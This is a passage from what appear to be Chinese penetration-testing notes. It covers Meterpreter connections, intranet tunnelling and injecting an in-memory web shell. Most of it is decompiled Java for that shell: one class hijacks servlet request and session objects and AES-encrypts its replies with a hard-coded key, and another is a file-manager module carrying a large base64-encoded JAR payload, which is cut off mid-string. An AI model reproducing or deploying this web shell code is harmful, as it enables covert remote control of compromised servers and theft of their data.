PATH_SEP = System.getProperty("path.separator");
IS_AIX = "aix".equals(OS_NAME);
IS_DOS = PATH_SEP.equals(";");
JAVA_HOME = System.getProperty("java.home");
}
}
删除equals()
方法
连接对应的ip
,port
Meterpreter
连接成功
2.2. 内网穿透
- 端口映射
- 端口转发
2.3. 注入内存马
获取三个.class
包
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package sun.kdxbus;
import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Ejcy {
public static String content;
public static String payloadBody;
private Object Request;
private Object Response;
private Object Session;
public Ejcy() {
content = "";
content = content + "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";
super();
}
public boolean equals(Object obj) {
LinkedHashMap result = new LinkedHashMap();
boolean var13 = false;
Object so;
Method write;
label77: {
try {
var13 = true;
this.fillContext(obj);
result.put("status", "success");
result.put("msg", content);
var13 = false;
break label77;
} catch (Exception var17) {
result.put("msg", var17.getMessage());
result.put("status", "success");
var13 = false;
} finally {
if (var13) {
try {
Object so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
Method write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var14) {
var14.printStackTrace();
}
}
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var15) {
var15.printStackTrace();
}
return true;
}
try {
so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
write = so.getClass().getMethod("write", byte[].class);
write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
so.getClass().getMethod("flush").invoke(so);
so.getClass().getMethod("close").invoke(so);
} catch (Exception var16) {
var16.printStackTrace();
}
return true;
}
private String buildJson(Map<String, String> entity, boolean encode) throws Exception {
StringBuilder sb = new StringBuilder();
String version = System.getProperty("java.version");
sb.append("{");
Iterator var5 = entity.keySet().iterator();
while(var5.hasNext()) {
String key = (String)var5.next();
sb.append("\"" + key + "\":\"");
String value = (String)entity.get(key);
if (encode) {
value = this.base64encode(value.getBytes());
}
sb.append(value);
sb.append("\",");
}
if (sb.toString().endsWith(",")) {
sb.setLength(sb.length() - 1);
}
sb.append("}");
return sb.toString();
}
private void fillContext(Object obj) throws Exception {
if (obj.getClass().getName().indexOf("PageContext") >= 0) {
this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
this.Session = obj.getClass().getMethod("getSession").invoke(obj);
} else {
Map<String, Object> objMap = (Map)obj;
this.Session = objMap.get("session");
this.Response = objMap.get("response");
this.Request = objMap.get("request");
}
this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
}
private String base64encode(byte[] data) throws Exception {
String result = "";
String version = System.getProperty("java.version");
Class Base64;
try {
this.getClass();
Base64 = Class.forName("java.util.Base64");
Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
} catch (Throwable var7) {
this.getClass();
Base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = Base64.newInstance();
result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
result = result.replace("\n", "").replace("\r", "");
}
return result;
}
private byte[] getMagic() throws Exception {
String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
Random random = new Random();
byte[] buf = new byte[magicNum];
for(int i = 0; i < buf.length; ++i) {
buf[i] = (byte)random.nextInt(256);
}
return buf;
}
private byte[] Encrypt(byte[] var1) throws Exception {
String var2 = "e45e329feb5d925b";
byte[] var3 = var2.getBytes("utf-8");
SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
var5.init(1, var4);
byte[] var6 = var5.doFinal(var1);
Class var7;
try {
var7 = Class.forName("java.util.Base64");
Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
} catch (Throwable var12) {
var7 = Class.forName("sun.misc.BASE64Encoder");
Object var10 = var7.newInstance();
String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
var11 = var11.replace("\n", "").replace("\r", "");
var6 = var11.getBytes();
}
return var6;
}
}
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package com.myn.cstx.ujz;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.nio.charset.Charset;
import java.nio.file.LinkOption;
import java.nio.file.Path;
import java.security.MessageDigest;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Date;
import java.util.HashMap;
import java.util.Iterator;
import java.util.List;
import java.util.Map;
import java.util.Random;
import java.util.Set;
import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class Lzrhkmh {
public static String mode;
public static String path;
public static String newPath;
public static String content;
public static String charset;
public static String hash;
public static String blockIndex;
public static String blockSize;
public static String createTimeStamp;
public static String modifyTimeStamp;
public static String accessTimeStamp;
private Object Request;
private Object Response;
private Object Session;
private Charset osCharset;
public Lzrhkmh() {
mode = "";
mode = mode + "create";
path = "";
path = path + "c:/windows/temp/xJVAlP";
content = "";
content = content + "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